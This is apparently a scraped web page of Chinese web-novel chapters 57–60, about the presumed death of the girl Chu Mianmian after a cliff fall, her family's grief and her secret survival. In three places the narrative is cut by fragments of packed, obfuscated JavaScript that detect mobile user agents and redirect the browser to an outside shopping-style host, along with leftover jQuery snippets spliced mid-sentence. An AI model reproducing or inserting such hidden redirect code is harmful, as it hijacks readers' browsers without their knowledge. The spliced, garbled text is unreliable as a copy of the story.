p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888106|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在马背上与土匪争斗纠缠,那马儿不受控制一路直奔虔来山悬崖,直至纵身一跃,那土匪失足坠落、由近及远的惨叫之声到现在还在我的脑中回响!” 陈家宝崩溃不已的吼声终究还是让众人沉默下来。 “你以为我不想当自己是在胡说么。”不敢再看苟旦的眼睛,陈家宝像泄了气的皮筏似的无力,“我趴在崖边看了,那下面只有无穷的山崖绝壁与缭绕云雾,若是掉下去还有命活的,恐怕只有神仙了。” 人群中传出小声啜泣的声音,苟旦红着眼睛,浑身如同被人抽去了筋骨,他重重垂下按着陈家宝肩膀的手臂,轻声问,“那悬崖在何处,你带我去。” 有人说,“那虔来山可是土匪的地界啊。” 苟旦转身往外走,“眠眠是我带来,我也要带她回去。” 陈家宝挣开父亲的手,冲过去说,“好,我带你去!” 可陈富户不允,他死命的抱着儿子的胳膊撒泼,“你去什么去,爹就你这么一个宝贝疙瘩,若你有个好歹,还要不要爹活了!” “爹,我的命都是眠眠救的!要不是她您今日见着的就是死于土匪刀下的尸体了,您快放手!” “我不管什么活的死的,我只要我的儿平平安安的活着,你们要去虔来山找人,行啊!爹下山带你去报官!” “爹!” 一个扭着臂膀想要挣脱,一个抱着臂膀死活不让挣脱。 两方纠缠不下,吴所仕颤颤巍巍从人群里穿过去,道,“虔来山凶险,书院今日光景已是教训,你们切记莫要再冲动行事,就依陈家父亲所言,去讲经堂托几位官差引路罢。” 夫子开口,陈家宝与苟旦看着满目疮痍的安南书院,也强忍心中悲痛,颔首称是。 吴所仕含泪环顾四面弟子,而后深深行了一礼,正声道,“为人师者,身负护佑弟子安危之责,然,今日却致使诸位身陷囹圄,险些命丧于此,此乃我之失职,我不妄奢原宥,只求诸位切勿因我等疏忽愚蠢,因惧,而失其学之意。” 吴夫子说自己疏忽愚蠢,可大家都知道,他在崇义斋被歹人袭击昏迷后,仍不忘学生安危,清醒后起不了身,是硬生生用手指扣着地趴到桌下够着信号花,放出信号引官差上山搭救的。 学生们此时见夫子这样,连忙七手八脚的扑过去将他扶起,陈家宝眼睛都哭肿了,“吴夫子,这都怪我,要不是……” “如今书院已毁,诸位又受了惊吓,若有父母来接的,都趁着天明尽早下山归家罢。” 吴所仕摇摇头,截了他的话后,兀自佝偻着腰一步步向讲经堂走去。 以往被困在书院时,学生们翻墙钻洞都想逃离这里,可今日夫子亲口说可以尽早归家了,却并无一人挪动,陈富户瞥向正沉默望着在冒着黑烟的废墟上忙碌官差的众师生,悄悄扯了扯陈家宝的衣襟,小声道,“儿,咱回家吧。” 陈家宝没听见似的,低头不知在想什么,过了许久,他拍了拍苟旦,说,“你与成非在此处守着于先生,我和栗铜带人去找眠眠,最晚到太阳落山,若是……若是……到那时还寻不到人,我便同你们一起回柏桥村。” 苟旦没有出声,只怔怔点了一下头。 陈家宝同父亲转身离开后,书院里的学生也自发分成了两队。 有亲属来寻的,一起随陈家宝、栗铜还有抽调的几位官差下山替同窗报平安、寻找眠眠,家里没来人的则跟着苟旦与成非回讲经堂协助其余官差,寻找于先生尸骨。 只过去了一个夜晚而已。 ‘扫地僧’院长于先生为保护他们与歹人同归于尽,‘主心骨’同窗初眠眠带领他们自保被歹人视作眼中钉后掠去坠崖,生死不明。 少年人好似在一夜之间被一场大火烧掉了所有的肆意与天真,有风吹过时,被烘烤冒汗的脸颊上扫过一阵柔软的刺痒。 有学生抬手去蹭,一偏头,就瞧见自己手背上虚浮着一根蒲公英绒球上纯洁无瑕的白色冠毛。 攀在树上的人,看着脚下背道而驰的两拨学生,哀叹一声,终是飞身离去。 58. 婶婶 安南书院的大火是烧无可烧时才逐渐平息的。 王羌曹留下一支小队在讲经堂翻找于允芳遗体,不过是为了宽慰书院还活着的人罢了。 临近傍晚,他刚出县衙大门就见领头的只带了几人回来向自己复命,便问,“怎么就你们几个?找着于先生了?” 领头的答,“回头儿,都烧没了,顶梁柱连同瓦片皆烧成焦炭了,一扒就碎,别说人,就是石头在那里头也得炸的粉身碎骨了。” “没有找到人就回来,学生们没闹?” “没有,都跟失了魂似的恭恭敬敬请咱们走的,不过……” 领头的汇报说,“您走后不久,我听那些学生们说,昨夜有一个学生被土匪掳走,两人在马背上争斗时不慎双双掉进虔来山悬崖,至今生死不明,故而那吴夫子托我给了他们几人,由学生带着去虔来山寻去了。” “还掳走一个学生?”王羌曹眉头一皱,“可打听到这学生姓甚名谁,那土匪为何偏偏只掳走他一个?” “好像是叫眠眠。”领头回忆片刻,“这名字听着耳熟,下了山我才想起是个女子,前些日子就是她带人守住安南书院击退虔来土匪的。” 王羌曹捋着下巴,呢喃,“女子?” 先前在书院办差时,只远远听学生们闲谈过几句,他那时还当是孩子们夸大吹嘘,毕竟一个村里长大的小女娃娃能有多大能耐,可那土匪偏偏只掳走她,莫非……那些学生们并没有夸大,一个村里长大的女娃真有本事干掉土匪? “头儿,回来路上就听庄上大街小巷都在议论安南书院昨晚的动静,要是再传出丢了个学生,那岂不坐实虔来山土匪圈地害人之风已经殃及到安南庄了。” “在咱的地盘出了这么大事,想捂住是不大可能了,我已经将此事报给知县大人,一切都等着上面决断吧。”王羌曹看向领头,“都从悬崖上掉下去了,还说劳什子生死不明,那群学生不是去虔来山寻人了么,再派些兄弟过去帮忙,找不见被烧成灰的也就罢了,摔死的总得给人家找回来吧,对了,将前阵子那起灭门案的嫌犯通缉顺手贴出去,这几日事多,不要心急,一桩桩办仔细了。” “是!” 领头的领命后出门,王羌曹看着风风火火离去的手下们背影,叹了口气后,低语,“要真是虔来山土匪圈地害人就好了,起码知道要治谁,要防谁……” 若真如吴所仕所言,徐英果真是潜伏在安南县衙多年的北漠奸细,那这县衙从上到下可都逃不了蒙昧失查之罪。 虽说自己已将吴所仕原话呈报给安南知县,可难保那位鸵鸟精会不会因惧怕这滔天罪过牵连自己而选择隐瞒此事。 要不…… 王羌曹心中起了一念,可随后又将其摒弃,“罢了,我不过一个小小县尉,操心那许多作甚,静观其变吧……” 他大跨出县衙大门,右转往关押着从安南书院押回来的土匪喽啰们的僻静狱牢走去,与街上一位扛着扁担、前后吊着竹篓的年轻男子擦肩而过时,他的鼻尖忽然嗅到一阵清新香甜的糕点味道,不等回神,自己的身子先随着那气味转了过去。 “我做糕点手段好,做起糕点样子巧。红糖白糖加香料,买点尝尝味道好。鸡蛋糕,用火烤。油酥糕,用油泡①……卖糕点嘞!好吃的初氏糕点嘞……诶大哥给家里孩子买点尝尝吧,天黑了就剩这些了便宜点您带走罢……” “……成,剩下的都给我包起来吧……” “好嘞!” 初氏? 王羌曹觉得这姓氏耳熟,可一时又想不起在何处听到过,他摇摇头后背手回身,融进了在夜幕下往来归家的人群之中。 从晁都城回来的路上顺道拐进安南庄,卖完最后一包点心后,初明捂着怀里殷实的钱兜子,步调轻快的往家赶。 春末初夏时,家里就已将粮食备齐,等过几日村里其他人家也归置好,汇整清点完后就能如数归还给陈富户了。 去岁天寒雪多,瑞雪兆丰年,这话原来是真的。 他想到今年筹完要还的粮食还有剩余,自己每日早出晚归的贩卖糕点也存下不少钱,再等一年,说不准真能攒出和妹妹开铺子的本钱。 空荡荡的竹篓在身前背后左右晃悠,初明一边勾着唇角默默在心里算账,一边加快脚步赶路回家。 冬日寒冷,太阳一落山,村里人便都钻进自己家中再不出门,但是夏日夜里,常有众多男女老少聚在村口纳凉闲聊,往常初明卖货回家路过此处光是打招呼问好都需要许久,可是今日回来,村口却是冷冷清清的。 一路走来,又瞧见各家屋子都亮着灯,可凑近院门往里看又不见一个人影,初明正纳闷着,突然瞧见一个小娃娃从自家篱笆门中挤出来,悄悄摸摸的像是要直奔什么地方,他拦住那孩子,问,“团儿,你要去哪儿?家里大人呢?” 小团儿借着月光瞧见是他,也十分纳闷,“明哥?你是才回来么?我爹娘都去你家了,我一个人有些害怕,也预备过去。” 初明:“去我家作甚?” “不晓得,只是方才我见苟旦哥和成非哥领着好些人回来,他们家门都没进就直接去找初家伯婶了,村里大人见势不对也都跟过去瞧了。” 初明心中一紧,不好的预感猛地窜出,他问,“那你可见着我家眠眠,她跟没跟着一起回来?” 小团儿摇摇头,还没来得及说话,就听前面响起一个男人凄厉的哭喊声。 初明双腿一软,肩上的扁担与竹篓‘咚’的砸在地上,他身上重心全失,又被脚下的竹竿绊了一跤,痛的顾不上龇牙,只连滚带爬的冲上去叫喊—— “爹!” 推开围在一堆的同村人,初明在里头瞧见自己哭成泪人、浑身发软以至瘫坐在在地的爹娘,他跪在父母身边揽着他们颤抖的肩头,无措、慌张、急促呼吸,他不敢出声询问,生怕一开口,自己心里那个可怕的猜测就会成真。 可苟看财见初家的顶梁柱回来,好似找见了将重担丢出去的目标,“明哥,你可算回来了,眠眠出事了,你快劝劝你爹娘,年纪大了万不敢再这么哭下去了,要保重好自己的身子啊。” 抚慰双亲后背的手骤然顿住,初明的心头好似被千刀万剐,他强忍着痛处,起身看向靠着村长的苟旦,哽咽问,“到底怎么回事?” 苟旦与成非两人向前走了一步‘扑通’向初家人跪了下来。 “都怪我们贪玩,在山间跑马的时候招惹了土匪,眠眠为救我们被土匪盯上,昨夜书院被烧,歹人驾马将她劫走后,两人一同在虔来山坠了崖,我们今日在崖底寻了一天,可……可只见了……什么也没有找到。” 苟旦本以为自己的眼泪已经在虔来山谷里风干,但是没想到自己一开口,眼眶周围立刻开始肿胀发烫,他垂着脑袋不敢抬头看明哥,于是便由着泪水与鼻涕断了线似的接连滚落,砸在地上滚成一颗颗沾满泥土的珠子。 “什么!坠崖!” 初明大惊,于嫣红也哭的喘不上气,他们的呼喊断了几瞬,吓得成非赶忙边哭边叩首,“初家伯伯婶婶,我们错了!你们打我们罢、骂我们罢,都怪我们贪玩,害的眠眠……呜呜……” 成家与村长夫妇看着自己的孩子如此这般,既心疼又后怕,可心中最多的还是庆幸,他们左右搀扶着已经哭不出声的于嫣红,愧疚至极可又无能无力,只能任由自己的孩子匍匐在地痛声忏悔。 “我要跟那帮天杀的土匪拼命!” 初大年像是疯了似的猛地从地上窜起,村里反应稍快的汉子连忙上步将其擒住,“放开!放开我!我要给我闺女报仇!” 他拼命地挣扎扭动,四五个人都有些控制不了,苟旦跪行过去抱住他的腰,喊道,“初伯伯,都抓住了!那些歹人都被官差抓住了,都是我的错,是我招惹了那些歹人害了眠眠,您想怎么对我都成,可千万不要冲动伤了自己的性命,眠眠她定不舍得让您伤着自己的啊……” 抱着自己的孩子和眠眠一般大,初大年心如刀绞却不愿将恨意撒在苟旦的身上,他终于冷静下来,抬起麻木的已经有些僵硬的手掌,想轻轻但手中力度已经难以控制的拍在苟旦肩上,道,“你与眠眠是好友、是同窗,她救你,是应该的……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888107|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 若此时初家人能提棍将自己狠狠打一顿,苟旦心里或许还能好受些,他愧疚的难以言表,只重重不停向初大年磕头,“我知错,今后我便替眠眠孝敬你们!” 成非也跟着许诺叩首。 于嫣红借着同村人和儿子的力挣扎起身,与丈夫十分费力的将这两个孩子从地上扶起来,初大年问,“眠眠如今在哪儿?天这么黑了,我去接她回家。” 苟旦不说话,成非欲言又止。 山峦叠嶂,人从那么高的地方掉下去,还能剩下什么,他们在虔来山崖底寻了一天,也只见着几处马匹破碎的尸块。 像是看出他们心中所想,于嫣红悲号一声,张着嘴直勾勾仰头昏了过去。 身边忽然有无数只手争先恐后的朝她伸过去,可于嫣红谁也没理,只从人们的惊慌面容上徐徐扫过,在闪着火把光芒的星空面前中阖住了自己迷蒙的双眼。 ———— 眼前是天旋地转的黑色,身上是无边无际的轻盈,唯有忽然涌现出来的清凉之意吸引着一个妇人蹒跚向前。 白日里的光亮有些刺痛,妇人不得不缓缓眯开自己混浊肿胀的眼皮,最先映入眼帘的是熟悉的、褪了色的蓝色床幔,和一张她不熟悉但满是疲惫与温柔的小脸。 “眠眠……” 沙哑的声音从喉咙里涌出来后,妇人才记起自己名叫于嫣红,自己在昨夜失去了唯一的女儿初眠眠。 “婶婶,您醒了。” 眼前的少女身着鹅黄交叉袄裙,她刚将一块浸了冷水的帕子搭在自己的额上。 喉间像是扎上了万千木刺,于嫣红张了张嘴,并没有说出话来。 那少女将自己温热的掌心覆上了她的手,轻声道,“婶婶,我叫芊芊,安南书院中我与眠眠同住一寝。” 眼泪‘唰’的从眼角滑出一行,于嫣红用手臂撑着自己用力坐起。 赵芊芊将软枕靠在初母身后,又把她身上的薄被往上揪了揪,“初伯伯和初大哥去虔来山谷了,您别担心,村里好些人一起去的,您饿不饿,伙房炉上温着粥,我去给您端来……” 手还未抽回,又被人反手握住,赵芊芊回头顺着她背部沧桑、虎口一片老茧的手向上看去,直到对上那双布满红丝的猩红泪眼。 “我家……眠眠…在那里过的开不开心?” 初母的嗓子在频繁地释放与压抑中变得松弛崎岖,赵芊芊靠近她听清那句问询后,眼圈下意识地泛红,鼻腔也开始发酸,她点点头,回说,“眠眠年岁不大,却稳重老成,书读的好,对同窗更是十分关照,我们与夫子先生都喜爱她,这次若不是有她在,恐怕安南书院众人是凶多吉少……” 安南书院众人平安活下来了,可是眠眠不在了。 于嫣红脑中忽然想起过年时眠眠救了苟看财一家后,自己曾说过‘人命关天,若有能力的确得出手相助,可…可娘一想到自己的命根子深陷火场,又觉得谁都能死,只要我的孩子好好活着就行……’ 那次是火场,这次也是火场,会不会是因为自己当初胡说八道的话不中听惹怒了哪位仙人,才叫自己的孩子遭灾丢了性命? 有什么天大的罪过冲着自己来啊!为何要带走她的眠眠! 余嫣红在胡思乱想中愤怒地用拳头击打着自己的脑袋,赵芊芊不知她为何会这样,赶忙站起身抱住她试图阻拦这种自残行径。 许是少女的柔软身躯与耐心抚慰让于嫣红再一次感受到了女儿的温暖,她终于冷静下来呆呆地望着用叉竿支撑起来的窗扇外边。 许久之后,见初母再无伤害自己的动作,赵芊芊轻轻长舒一口气,温声道,“婶婶,我去伙房给您盛碗粥来,您等等我,很快的。” 看到她木然的点头,赵芊芊起身小跑着出去。 四周再一次安静下来,就像在混沌的梦中那样,于嫣红行尸走肉般掀开薄被,赤着脚出门,一直朝自己方才注视着的那处走去。 伙房中有锅碗铁勺轻微碰撞的声响,于是院中木门开启的‘吱呀’声在这些声响中隐匿了,缥缈人影在木门的门缝中渐行渐远了。 59. 六卷 在初家不远处的一间小木屋前,一位身着白色里衣的妇人缓缓推门而入。 晌午的日光猝不及防的倾斜灌入,使得屋内的细小灰尘惊慌失措的碰撞飞舞,以求为自己寻找一方安稳的躲藏之处。 前些时日家中忙于春收,故而不曾有人过来清理洒扫,不过几日而已,书桌与木架上就覆上了一层细密薄灰。 喉间与鼻头忽然刺痒,于嫣红不自觉轻轻咳了一声,朝屋中搭起的一张简易木床走过去。 眠眠少时体弱,算命的老道与看病的医师都说她活不过十五,可他们一家偏偏不信邪,不仅不将她当做病秧子成日关在家中,反而鼓励她多多出门玩耍,甚至愿意在饭都吃不饱的时候攒钱送她去安南书院,和男孩一样读四书、学六艺。 村里人私下都说柏桥村初氏,不止闺女有病,一家四口没一个是正经人。 可他们哪知道她的眠眠从小就伶俐聪慧,经过书院夫子的教导后更加的知事明理,只是后来她年岁大了些,身子也愈发病弱,不得已才将她接回来精心照顾。 那时于嫣红常想,若眠眠是个男子,定能凭着自身才学与见识实现抱负,可这念头刚起,又忽然觉得,谁说女儿家便不能如此,于是她便在家中悉心照料女儿身体,丈夫则在家门口寻了一处安静屋子,专做书房供她读书习字。 偶尔天气好,眠眠会捧着书在这里从早坐到晚,学到忘我时甚至连困乏饥饿也觉察不到,后来见她握着笔趴在桌上睡着,初大年便又在屋里支了一张小床,本意是想供她休息小憩,谁知眠眠却将这里当成学堂,大多时候吃住都待在这间小木屋中。 于嫣红坐在床榻,躺下慢慢将身子蜷缩一团。 女儿身上独有的清甜气息仍在萦绕,于嫣红咬牙强忍着不让泪水沾湿床榻。 自己亲手缝制的头枕上缠绕着一根长且坚韧的青丝,她伸手去捻时突然瞧见枕下像是压着什么东西。 起身用衣袖拂去眼角泪水,于嫣红掀开头枕,在其下发现了一身折叠的十分整齐的藕粉色衣裙。 这不是…… 这不是眠眠去安南书院读书前夕,自己亲手交给她的那套藕粉色衣褂和袄裙么。 怎么会在这里? 于嫣红将裙袄捧在手上来回翻看却并未找见什么独特之处,她握着手中衣装抿唇仔细回想—— 眠眠外出求学,自己曾给她做了两身衣裳带去,一身是这套藕粉色裙袄,还有一身是灰白色…… 男装? 于嫣红心头猛地一跳。 “这身男装我很喜欢。” “娘,我会照顾好自己的。” 将怀中裙袄搁在床榻上,于嫣红开始在屋内翻找其他不属于这间小书屋的东西,但她找了一圈险些掘地三尺,仍是一无所获。 于嫣红站在书桌前,目光锁住了书桌上放着的一沓眠眠手抄的纸页。 鬼使神差的,她拿起书本翻看女儿亲笔撰写的字句,却发现这些用针线缝好成册的书本封面完整,可是扉页却被人撕掉了。 封面左下角都用规整的小楷书写上了‘初眠眠’三字,于嫣红用指尖亲昵摩挲时,隐约记起眠眠儿时曾悄悄问她:为何别的小娃娃只有一个名字,而自己有两个。 中北律法,大索貌阅之时,为免幼子夭折,或碍‘阅其貌以验老小之实’,故而只有年满十六者方可入户籍、进名册。 一些人家担忧姓名起的太早孩子压不住,大多都会等入籍造册前几日才为孩儿定下正名。 而眠眠出生时,比算好的日子提前不少,稳婆保完大小人命后,一位在柏桥村暂住的老道在门口低语疯吟,曰:一个七魄少三魂,一个三魂短七魄,情无情而有魂,暒无魂而有身,嗟乎!心好命不好,天地也须保,心好命又好,富贵享到老…… 初大年见此人虽疯癫但毕竟是位道家,于是虚心为女求名,可那老道却只将‘将星下凡身魂散,未及十五命不还,魂进身出数已定,情来暒去胜儿男’几句丢下,便离去无踪。 这话庄稼人听不懂,但看那老道转身时那含笑的有些高深的眉眼,初大年仔细琢磨许久还是觉得,他话中的‘暒’极好,就是不知是哪个‘暒’。 有人说,是儿女之情,可自己与丈夫都觉得那个‘情’字太过缠绵,他们不喜欢,等孩子长大些再商定,可暗地里两人数次进城问了许多读书人才定下这日星之‘暒’。 眠眠她……幼时很喜爱这个正名,旁人没有的,她有,但她从不多言炫耀。 所以初暒这个名字,只有他们一家人晓得。 她还是在学会读书习字之后,才开始暗自将这两个字誊写书本扉页。 就像这样首页书面写小字,第二页扉页写正名…… 正名? 思及此处,于嫣红看了看手中不见扉页的书本,顿了片刻她又从木架上翻看其他眠眠的手抄书页,然却发现架上与桌上的书本写了眠眠正名的扉页竟都被人撕了去。 “婶婶,你怎的赤脚跑出来了!” ‘啪!’ 手中的书页被门外忽然出现的来人惊得掉落在地,于嫣红手忙脚乱的俯身捡起将其放置架上,出门后还不忘将木门重新关上。 赵芊芊把拎来的布鞋放在初母脚边,又捏起揽在臂弯的外衫披在她肩上,扶这位有些惊慌的妇人弯腰穿鞋时,她偏头透过半阖的木窗无意间瞧见屋内小床上凌乱散着一团似乎是藕粉色的什么东西。 于嫣红:“我也不知怎的失神跑到这来了,劳烦你来寻我。” 赵芊芊摇摇头,有些不知道如何开口,“不劳烦,只是……婶婶,初伯伯和初大哥他们回来了……” 初家不大的堂屋中汇聚了满满当当的看客。 村里主事的苟看财见赵丫头挽着于嫣红进门,先看了一眼满眼通红的初大年,才开口惋惜道,“初兄弟家的,这许多人接连在那虔来山谷冒险寻了两日仍是一无所获,想来眠眠已经……唉……” 初大年将双手覆在脸上,初明用衣袖在眼眶上来回擦拭,可是于嫣红只是立在门前垂头不吭声,也没有其他动作。 苟看财:“眠眠是女娃,遇害时年岁还小也没有留下尸骨,丧事不宜大操大办,不过呢,咱们村里人都受过眠眠的恩,盛过你家的情,这次大家伙儿都愿意出钱出力,给眠眠打棺、入衣冠殓,还有户籍…虽说眠眠还不满十六不曾入户登册,但是咱们柏桥村的户籍名目上需得将其名划掉,将来征税纳粮时你家也好过些,正好村里人该在场的都在场,做见证也方便,初兄弟,你可在此处按个手印,给孩子销户……初兄弟?初……” “我家眠眠没有死!” 初大年不想理苟看财,只用手捂着眼睛不动弹,可妻子这声咆哮却叫他骤然一惊,蹭的站起看去。 苟看财皱眉问于嫣红,“胡说什么!你亲眼见着了?” 于嫣红咄咄逼人:“没有尸骨,便是生死不明,我没亲眼见着她活,你难道亲眼见着她死了!” “真是疯的都开始胡言乱语了!”苟看财以前竟不知这妇人如此伶牙俐齿,见屋内众人只是同情的看向于嫣红却并无一人附和自己,他又威胁说,“如今在你家中的这些人都是为帮你料理眠眠丧事来的,你要再这么不识好歹,休怪我们同村人不讲往日情面!” 于嫣红也怒,“我家眠眠没有死,你来料理什么丧事!还有村里户籍,我们初家永远都是四口人!” 女儿突然亡故,这婆子许是受了刺激,苟看财本想借此机会还了初眠眠救了自己儿子的恩情,却没成想热脸贴了冷屁股。 他‘哼’了一声又道一句不可理喻,而后甩手离去,其他人见领头的走了,自己留下也帮不上忙,挨个拍拍初大年的肩膀说了声‘节哀’也相继离开。 众人散去,初明跑来问母亲,“娘!眠眠真的还活着吗?” 初大年也希冀的看向妻子,但是却见她轻轻摇了摇头,自顾低语,“眠眠说过会照顾好自己……她说话向来是算数的……” 安南书院出事已过去两日,可家中晓得赵芊芊并无大碍后只是差人将她接去城外私宅,连一句嘱托也不曾留下。 赵芊芊旁观着为爱女离世而悲痛不已的初家人,除去悲伤与羡慕,对姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888108|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思念与对自己唏嘘的思绪也一起涌上了她的心头。 静静地退出门外,赵芊芊站在柏桥村纵横交错的小径中茫然无措。 在书院里,她被初眠眠奋不顾身的相救过,在书院外,自己能做的却唯有短暂的陪伴她母亲度过一个难捱的夜晚。 “芊芊!” 成非小跑着过来,问,“芊芊,初家婶婶好些了吗?” 赵芊芊轻轻摇头。 “唉,我瞎问什么,最心疼的人没了,如何能好……” 看他自责,赵芊芊反问,“你寻我做什么?” 成非听陈家宝说,那日他与栗铜下山去诸位同窗家报平安时,那么多学生家中只有一家大门没有敲开。 他们不知如何告知赵芊芊无法通知家人来接她,直到深夜预备凑钱送赵芊芊去客栈落脚时才见一架破败马车颤颤悠悠上山,将她颤颤悠悠的带走。 苟旦对他说,眠眠嘱咐过我们要关照芊芊。 于是成非问,“苟旦说书院虽说已被焚毁,但仔细翻看也仍能找着一些有用的东西,我预备跟他一起回去,你要不要同我们一起?” 没有犹豫地,赵芊芊颔首,“好。” —— 说是去书院废墟中翻看有用的东西,可再回来的学生们看到年迈的吴夫子正吃力地将土渣木屑一筐筐往外运时,都不约而同地撸起袖子埋头随他一起铲装运送。 没有人提起于先生的遗骨散落何处,也没有人问仅靠他们自己能否再将书院重建。 傍晚时,陈富户架不住儿子撒泼打滚,依着他让张小卫带小厮给书院师生送去了干粮粥水。 栗铜吃完一张干饼,瞧见吴夫子独自拎着一把铁锹往百果园走去,他与围坐在一起的众人相视一眼后起身跟了过去。 百果园四面开阔,又距书院屋舍较远,故而在火海中逃了一劫。 吴所仕推开木门径直走到一处凸起的一块土包前,用铁锹挖开了一个不小的土坑,栗铜上前问,“吴夫子,您要挖什么,我来?” 吴所仕不答,又挖了几锹后,跪地换双手在坑里仔细扒土摸索,片刻后,离得最近的栗铜见他小心翼翼从中捧出一个四方布包。 有学生惊呼,“这是何物?” 吴所仕抬手极为爱惜的将布包上的土块拂开,一层层揭开后才道,“于先生将其毕生所学皆记录整理在此。” 赵芊芊问,“我此前常见于先生在书案上奋笔疾书,他那时写的便是这些?” “正是。”吴夫子继续说,“这些书册共计六卷,其中收录义注了稼穑农艺、棉纺织造、兵法作战、冶炼铸造、沿革地理、客商贸易六类,自于先生来安南书院成为‘山中户’后,他便开始着手撰写此书,直到付梓身陨……” 身陨二字一出,一直被学生刻意隐藏的念头在此时忽然强势涌出。 于先生何止身陨。 他为救学生与歹人同归于尽,在爆炸与烈火的焚烧中,一寸皮肤都不曾留下。 有人已经开始啜泣。 吴所仕像是没有听见似的,平静地说,“像是知道会发生什么似的,于先生几日前便托孤似的将这些书卷的所藏之地告知于我,并嘱咐务必交付于学生们的手中。” 手中五本书卷分给栗铜、苟旦与赵芊芊等人,吴所仕将其中一卷塞进自己的袖袋中后把包裹书卷的布包折叠规整重又埋进了土坑之中。 身后有学子抑住自己的哭声,只悄悄用衣袖擦抹眼泪,吴所仕静静听着,手上把湿土拍打整齐的动作也不停下,他像是给学生们又像是给自己说,“‘师者,所以传道受业解惑也……是故无贵无贱,无长无少,道之所存,师之所存也’。” 道理存在的地方,就是老师存在的地方。 怀揣着于先生亲手撰写的书册,安南书院众弟子皆跪倒于吴所仕拍打整理的土包前,含泪叩首,齐声高曰:道之所存,师之所存! 这声音震起了田间飞鸟、震醒了山中新月。 一只修长如玉、青筋分明的手挑开车架窗幔,在学子的高声呼喊中,瞧见了田上新月与山间飞鸟。 60. 俯首 于允芳亡故。 吴所仕带弟子去他的住所整理衣物时,大家才晓得‘鬼宅’之谜,不过是于先生和大家开的一场玩笑。 入夜,有不少学生借故与吴夫子一同留宿在‘鬼宅’。 大家都说是因为白日干活儿太累故而不愿再下山奔波,可吴所仕心里知道,书院遭此变故,这些孩子们是不想再将自己这位孤寡的老头儿独自留在山间。 于允芳的私宅里房屋虽多,可因年久失修,有些屋子的房顶与墙壁上不是有窟窿就是有裂缝,勉强能住人不过两间,吴所仕将赵芊芊与几位女弟子安顿在书房,自己则举着烛灯,折返回于先生常住的卧房中。 他的卧房不大,里头的土炕倒盘的宽敞,他与数十学生里外抵足而卧,也并不拥挤。 “呼。” 灯息烛灭。 ‘鬼宅’中,众人就寝,通铺之中不时有人转辗翻身,这动静不大,却像是在无声静思。 更深露重,窗外的夜幕就像是一块黑色的木板,眨眼时那木板恍若将已故师长与亲友的音容笑貌映照其上,于是漫漫长夜,再难安睡。 在这漫漫长夜中,在那皎洁月光下,百果园于允芳衣冠冢前,伫立着一道颀长身影,那身影不算挺拔,却莫名让人有种心悸的想要匍匐在他脚下跪地俯首的冲动。 有风拂过,身着黑衣的高寒落地后拱手,道,“主子,在于先生私宅暂住的师生们已经就寝了。” “去罢。” “是。” 看兄弟离去,身后的无恩说,“主子,于先生宅门上的牌匾无故出现在衣冠冢碑上,恐怕又会在学子之间生出传闻了。” 薛霁:“吴夫子自会与他们解释。” 于先生离去,主子的声音不带任何情绪,无恩想要出言安慰,可叽咕许久也不晓得从何处开口。 今夜是个满月,百果园田间一片白茫茫,山间的风偶尔吹动枝叶会发出沙沙的声响,无恩正想着要不要差人去车架里给主子取件外衣,忽然在这沙沙声中,他似乎听到不远处有窸窣脚步摩擦在土地的声音。 那声音细微却并不刻意,可总让听到人觉得踏着它走过的人,谨慎的像豁出了性命。 无恩低语,“主子,她来了。” 插在马臀上的树枝柔软的近乎坚硬,拔下它的瞬间血在空中喷涌,温热了初暒的右臂与一侧脸颊,在冲出悬崖那刻,她转身借着马儿后腿蹬地的力量,踩着马背拼命将树枝杵在崖下峭壁中。 树枝没着的位置并不牢固,初暒用力握着裸露在外的半截树枝接连向下滑落了数尺才定住,她单手吊挂在深不见底的土石山壁,用脚尖试探许久后总算踩着一处从壁上凸出来的石块上。 天边曦光出现的时候,头顶隐约有少年嚎啕啼哭的声音,初暒晓得那是谁,她心中虽不忍,却不得不屏声静静等那哭声越传越远。 天亮了,周围的一切在眼中立刻清晰起来,可她在惊心动魄与长久的悬吊中几乎失去了所有的气力。 “要活着…要活着……” 初暒的脑中口中只不断浮出这三个字,身体像是在做最后的挣扎,她奋力甩起另一只垂在身侧的手臂,将自己的手指连同指甲深深嵌在崖壁之中,而后拔出树枝将其插在头顶,用手掌与树枝代替双脚,一步一步往上爬去。 天空明了又暗,不知过了多久,一只不见原状的血淋淋的手掌搭在崖边带出另一只紧握一截树枝的拳头时,初暒有些失神的目光终于久违的看到了面前平坦的有些扭曲的山间小径,她用手臂撑着自己全身的重量奋力一跃后,双腿终于贴在了土地上。 在失去意识与清醒之前,初暒强撑着身子跌跌撞撞的倒在崖边不远一处树林中,她用那些茂盛绵密的草叶隐藏了自己,也隔绝了亲人与同窗们的嘶声呼唤。 脸上的血污已在泉水中擦洗干净,手上的伤也简单做了包扎,初暒在几名暗卫的注视中,一步步走近那道不可亵玩的颀长身影。 无恩看着这个满身污血脏兮兮的小丫头嫌恶地皱眉,可转念又想起主子今夜的另外一个打算,抬手用剑柄挡在初暒胸前示意她走到这里就可以后,识相的抱拳退离此处。 